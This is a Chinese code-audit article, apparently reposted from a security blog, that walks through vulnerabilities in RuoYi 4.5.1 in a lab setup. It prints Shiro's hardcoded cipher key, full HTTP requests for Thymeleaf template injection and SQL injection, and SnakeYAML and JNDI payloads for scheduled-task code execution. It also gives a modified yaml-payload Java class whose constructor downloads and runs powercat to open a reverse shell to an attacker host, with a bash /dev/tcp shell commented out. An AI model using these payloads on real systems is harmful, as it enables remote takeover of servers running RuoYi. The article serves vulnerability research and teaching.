Loading [MathJax]/jax/input/TeX/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >【代码审计】若依CMS 4.5.1代码审计

【代码审计】若依CMS 4.5.1代码审计

作者头像
Al1ex
发布于 2025-04-11 07:09:48
发布于 2025-04-11 07:09:48
24700
代码可运行
举报
文章被收录于专栏:网络安全攻防网络安全攻防
运行总次数:0
代码可运行
产品介绍

RuoYi是一个后台管理系统,它主要基于经典技术(Spring Boot、Apache Shiro、MyBatis、Thymeleaf)组合构建而成,主要目的让开发者注重专注业务,降低技术难度,从而节省人力成本,缩短项目周期,提高软件安全质量

环境搭建

产品源码:https://github.com/yangzongzhuan/RuoYi

下载好对应的CMS安装部署包之后使用IDEA打开工程等待程序自动加载三方的JAR包:

变更Server的端口规避端口冲突问题:

随后启动PHPStudy并新建数据库RY,随后导入数据库文件并更改配置文件application-druid.yml

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
DBName:ry
Username:Ruoyi
Password:Ry@123456

随后运行RuoYIApplication启动项目

随后正常启动并反问若依系统:

代码审计
Shiro反序列化

获取到源代码之后查看pom.xml文件发现其中引入了Shiro组件

C:\Users\RedTeam\Desktop\RuoYi-4.5.1\pom.xml

随后全局搜索"cipherKey"发现配置文件中硬编码了密钥信息——zSyK5Kp6PZAAjlT+eeNMlg==

C:\Users\RedTeam\Desktop\RuoYi-4.5.1\ruoyi-admin\src\main\resources\application.yml

随后发现登录认证中存在rememberMe选项

随后查看这里的Login可以看到这里已经来到了Shiro对应的Jar包中,说明这里使用的是Shiro进行的鉴权

在知道Shiro加密密钥和确认Web使用了Shiro进行登录认证鉴权的前提下可以通过漏洞利用工具直接进行利用(备注:Apache Shiro <=1.2.4版本属于密钥硬编码且使用AES-CBC加密模式,在Apache Shiro 1.2.4版本之后则是由用户指定密钥且加密模式更改为了AES-GCM)

Thymeleaf模版注入

在获取到源代码之后查看pom.xml文件发现其中引入了thymeleaf组件且版本为2.0.0低版本

C:\Users\RedTeam\Desktop\RuoYi-4.5.1\pom.xml

随后全局搜索"::"来看那些位置可控,随后发现一处可控位置

C:\Users\RedTeam\Desktop\RuoYi-4.5.1\ruoyi-admin\src\main\java\com\ruoyi\web\controller\demo\controller\DemoFormController.java

紧接着构造相关恶意载荷并进行触发

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
POST /demo/form/localrefresh/task HTTP/1.1
Host: 192.168.204.139:8090
Content-Length: 145
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.204.139:8090
Referer: http://192.168.204.139:8090/demo/form/localrefresh
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=0f9d7684-4bc6-41ce-b7bb-7d1eea7c48ab
Connection: close

taskName=1&fragment=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cmd.exe /c calc%22).getInputStream()).next()%7d__::.x

除了上面的第三方组件外其实还有其他的组件,比如:Druid、Fastjson、Swagger、Velocity,但是经过审计发现Druid前面由于统一使用Shiro鉴权不存在所谓的未授权访问问题,当前的RuoYI只是做了内嵌且有包裹性的认证防护,另外Fastjson则虽然是在漏洞影响范围内但是全局检索"parse("无可控的解析调用位置,Swagger也是仅做的内嵌不存在未授权访问类的问题,Velocity则是因为虽然引入了对应的版本但是参数不可控导致无法进行利用

SQLInjection安全问题

RuoYI CMS使用了Mybatis持久层框架,而在MyBatis中会使用XML或注解来配置和映射原生信息将接口和Java的POJOs(Plain Ordinary Java Object,普通的Java对象)映射成数据库中的记录,所以我们可以通过全局检索"${}"来确定未使用预编译的可疑位置,随后进行参数回溯分析来确定漏洞是否真实存在,简易示例如下:

随后根据id定位到上层的DAO层

随后检索接口的具体调用点有那些位置

随后在根据调用位置向上回溯Controller层,这里以selectDeptList为例

从下面代码中的@RequiresPermissions注解表明接口访问权限,@PostMapping注解表明接口调用方式为POST,@ResponseBody注解表明会将返回值写入http响应

随后我们还需要看一下上层在调用接口的时候是否有做过滤处理——无

随后我们即可确认此处存在SQL注入问题并访问后台找寻功能位置进行抓包操作

可以看到正常抓包是没有上述我们分析到的参数的,但是我们可以进行构造dataScope参数来进行注入操作

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
POST /system/dept/list HTTP/1.1
Host: 192.168.204.139:8090
Content-Length: 40
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.204.139:8090
Referer: http://192.168.204.139:8090/system/dept
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=a49e98d9-1d37-4027-b218-41589e55a845
Connection: close

deptName=&status=0&params%5BdataScope%5D=

随后丢到Sqlmap中进行验证

同样可以推导出其余的SQL注入点和载荷,下面仅给出一则:

功能位置:用户管理-用户查询

注入参数:params[dataScope]

请求报文载荷

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
POST /system/user/list HTTP/1.1
Host: 192.168.204.139:8090
Content-Length: 153
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.204.139:8090
Referer: http://192.168.204.139:8090/system/user
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=a49e98d9-1d37-4027-b218-41589e55a845
Connection: close

pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&deptId=&parentId=&loginName=ry&phonenumber=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&params%5BdataScope%5D=

SQL注入验证如下:

计划任务任意命令执行

全局搜索"execute("关键词后发现在计划任务处存在一处调用点

随后查看其具体的实现类:

可以调用任意类的任意方法

这里的isValidClassName主要用于验证是否为class包名

在这里我们首先会想到的就是直接使用Java原生的java.lang.Runtime.getRuntim().exec("")来执行命令,然而想要通过Class.forName(beanName).newInstance()成功实例化,必须满足类至少有一个构造函数——无参且public,由于Runtime类的构造函数是private的,故而不满足条件,同样当我们想通过反射ProcessBuilder时,虽然可以在new ProcessBuilder的时候可以不加参数但是并不代表ProcessBuilder的构造函数是无参的,因此使用ProcessBuilder的payload也会报错,根据若依的定时任务代码,需要满足以下条件:

  • 方法具有代码执行的潜力
  • 类的构造函数无参且public
  • 调用的方法的参数类型只能是String/int/long/double

在若依中的三方组件引入了snake,所以我们可以构造以下载荷进行利用:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://fo9aeu.dnslog.cn"]]]]')

执行任务:

随后可以看到成功的请求:

反弹shell时我们可以通过一下方式来进行利用:

Step 1:下载yaml-payload

https://github.com/artsploit/yaml-payload

随后更改其中要执行的命令载荷

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            //Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.204.144/4444 0>&1"});
			Runtime.getRuntime().exec("powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.204.144:1234/powercat.ps1');powercat -c 192.168.204.144 -p 4444 -e cmd");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

Step 2:运行下面的命令进行编译生成新的yaml-payload.jar

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

Step 3:构建web服务托管payload.jar文件

Step 4:开启监听

Step 5:执行命令

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.204.144:1234/payload.jar"]]]]')

随后成功反弹shell回来(备注:这里的计划任务内容中如果创建时内容一致则第二次执行会失效,所以从下面看到的是请求了payloadd.jar,这里做了一个变更不影响正常的反弹shell,另外还需要目标Windows主机无相关的杀软防护,否则容易被查杀,至于Linux则直接使用上面载荷中的/bin/bash进行反弹shell即可):

在这里我们也可以使用JAVA自身的库和包来做一个简单的测试,构造如下载荷

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
javax.naming.InitialContext.lookup('ldap://urlcx0.dnslog.cn')

执行任务之后成功触发恶意载荷:

文件上传导致XSS风险

通过全局检索fileupload定位到文件上传通用处理工具类位置:

这里调用FileUploadUtils.upload进行文件上传处理

随后继续跟进来到upload函数中,紧接着在这里调用重载的upload方法来进行文件上传操作

校验文件大小以及白名单校验检查导致无法上传恶意脚本来进行GetShell操作

但是白名单中包含了html文件和pdf文件可以用于进行上传对应类型的文件,如果支持在线解析则可以导致XSS

另外RuoYI使用了Swagger-UI,当前的版本不再影响范围之内,但是高版本可以进行进一步核实查看是否可以使用Swagger-UI自身的安全漏洞来打XSS

文末小结

本篇文章主要站在代码审计角度对Ruoyi CMS从三方组件、配置文件、通用漏洞进行了代码审计并在其中融入了代码审计的一些思路和方法供大家一起探讨,当然在JAVA代码审计中也不仅限于上面的几个维度还有业务逻辑层面的问题更为重要尤其是针对与金融行业的企业来说,关于这一部分等后期有空再专门出一个关于业务逻辑层面的代码审计思路和方法~

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-04-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Java代码审计之JFinalCMS
看到星球发布了一个作业,由于考试没及时弄。所以就自己随便看看了,这套系统确实漏洞很多,可以说是靶场。。。危险操作几乎都没有做过滤,而且很久没更新了
亿人安全
2024/07/12
2830
Java代码审计之JFinalCMS
内网渗透 -春秋云镜篇之Hospital
朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把“亿人安全“设为星标”,否则可能就看不到了啦
亿人安全
2024/03/10
1.4K0
内网渗透 -春秋云镜篇之Hospital
对某CMS的审计
太久没有关注各大安全博客上的内容了(当咸鱼是真的快乐呀~),今天瞎逛,发现有师傅发了一篇关于某CMS审计的文章,我的确是几个月没有审过代码了,就寻思着跟着这篇文章复现一下找找感觉,然后顺便发现了一些这个CMS的其他问题
tnt阿信
2020/08/05
5950
对某CMS的审计
代码审计 | 命令注入和代码注入
在开发过程中,开发人员可能需要对系统文件进行移动、删除或者执行一些系统命令,这时如果执行的命令用户可控,就会导致命令执行漏洞。
TeamsSix
2022/09/20
1.4K0
代码审计 | 命令注入和代码注入
华夏ERP CMS 代码审计
https://github.com/jishenghua/jshERP/releases/tag/2.3
FB客服
2023/08/08
1K0
华夏ERP CMS 代码审计
RapidCMS 1.3.1代码审计
下载地址:https://github.com/OpenRapid/rapidcms
红队蓝军
2025/02/12
1030
RapidCMS 1.3.1代码审计
代码审计 | 模板注入
这里主要学习下 FreeMarker 模板注入,FreeMarker 是一款模板引擎,FreeMarker 模板文件与 HTML 一样都是静态页面,当用户访问页面时,FreeMarker 引擎会进行解析并动态替换模板中的内容进行渲染,然后将渲染后的结果返回到浏览器中。
TeamsSix
2022/09/20
1.4K0
代码审计 | 模板注入
ZZCMS v8.2 代码审计
大家好,我是kn0sky,在此我将把我这一次进行的代码审计的发现与收获都记录分析分享一下,笔者初入代码审计不久,审计的方法也比较新手,本文有点倾向于面向代码基础薄弱的童鞋,如果有什么做的不好的地方或者有什么更好的建议,希望大家能够指出,欢迎大家与我私信交流,在此提前谢谢大家啦~
FB客服
2019/10/15
1.4K0
ZZCMS v8.2 代码审计
Usual*** CMS 8.0代码审计
声明:公众号大部分文章来自团队核心成员和知识星球成员,少部分文章经过原作者授权和其它公众号白名单转载。未经授权,严禁转载,如需转载,请联系开白!
安全小王子
2020/08/28
4560
Usual*** CMS 8.0代码审计
[红日安全]代码审计Day3 - 实例化任意对象漏洞
大家好,我们是红日安全-代码审计小组。最近我们小组正在做一个PHP代码审计的项目,供大家学习交流,我们给这个项目起了一个名字叫 PHP-Audit-Labs 。现在大家所看到的系列文章,属于项目 第一阶段 的内容,本阶段的内容题目均来自 PHP SECURITY CALENDAR 2017 。对于每一道题目,我们均给出对应的分析,并结合实际CMS进行解说。在文章的最后,我们还会留一道CTF题目,供大家练习,希望大家喜欢。下面是 第3篇 代码审计文章:
红日安全
2020/03/09
1.2K0
【Java 代码审计入门-05】RCE 漏洞原理与实际案例介绍
为什么会有这一些列的文章呢?因为我发现网上没有成系列的文章或者教程,基本上是 Java 代码审计中某个点来阐述的,对于新人来说可能不是那么友好,加上本人也在学习 Java 审计,想做个学习历程的记录和总结,因此有了本系列的文章。
p4nda
2023/01/03
1.9K0
【Java 代码审计入门-05】RCE 漏洞原理与实际案例介绍
通过 BlueCMS 学习 php 代码审计
最近一直在学习php代码审计,入门过程比自己想象的慢很多,现在各个行业都在内卷,代码审计随着 web 开发技术的发展也会变得更加复杂。但不管现在技术多成熟,多复杂,基础知识一定要扎实。先记录下我目前学习php代码审计的过程:
FB客服
2021/09/16
1.9K0
【学习】某OA代码审计笔记
推荐使用Windows搭建,因为idea搭建很麻烦,而且报错特别多,Windows是一键部署
UzJu@菜菜狗
2022/09/22
9200
【学习】某OA代码审计笔记
Java Web安全之代码审计
信息安全的75%发生在Web应用而非网络层。本文内容主要以Java Web安全-代码审计为中心展开。
lyb-geek
2019/03/07
2.2K0
Java Web安全之代码审计
CVE-2024-21683:Confluence远程代码执行漏洞
Atlassian Confluence是一款由Atlassian开发的企业团队协作和知识管理软件,提供了一个集中化的平台,用于创建、组织和共享团队的文档、知识库、项目计划和协作内容,从而有效地管理项目知识和信息。Confluence 还集成了多种宏和插件,如日程表、任务列表和Jira集成。
Timeline Sec
2024/07/15
1.1K0
CVE-2024-21683:Confluence远程代码执行漏洞
Java代码审计之jspxcms审计
源码:https://www.ujcms.com/uploads/jspxcms-9.0.0-release-src.zip
亿人安全
2023/02/28
4.3K0
Java代码审计之jspxcms审计
Spring 框架相关漏洞合集 | 红队技术
虽说是 Spring 框架漏洞,但以下包含并不仅 Spring Framework,Spring Boot,还有 Spring Cloud,Spring Data,Spring Security 等。
信安之路
2021/12/27
6.8K0
Spring 框架相关漏洞合集 | 红队技术
Java代码审计 -- XSS跨站脚本
一般来说,XSS的危害性没有SQL注入的大,但是一次有效的XSS攻击可以做很多事情,比如获取Cookie、获取用户的联系人列表、截屏、劫持等。根据服务器后端代码的不同,XSS的种类也不相同,一般可以分为反射型、存储型以及和反射型相近的DOM型。漏洞危害有:窃取Cookie,键盘记录,截屏,网页挂马,命令执行。
Gh0st1nTheShel
2022/01/23
1.5K0
[入门]SpringBoot-MyBatis-luckwheel-master开源代码审计
Github地址: GitHub - s6056826/luckwheel: 国产开源幸运大转盘管理系统,积分,倍率,奖品兑换 CSDN介绍地址: 开源大转盘抽奖源码,带后台管理,可管理奖品和奖品中奖概率,java语言实现飞吧菜鸟了的博客-CSDN博客转盘抽奖源码 下载之后用Idea打开,首先导入数据库
UzJu@菜菜狗
2022/09/08
7400
[入门]SpringBoot-MyBatis-luckwheel-master开源代码审计
SeaCMS v10.1代码审计实战
seacms是一个代码审计入门级的cms,比较适合我这种小白玩家来学习,如果有什么错误欢迎指出。
FB客服
2020/07/15
1.4K0
SeaCMS v10.1代码审计实战
相关推荐
Java代码审计之JFinalCMS
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验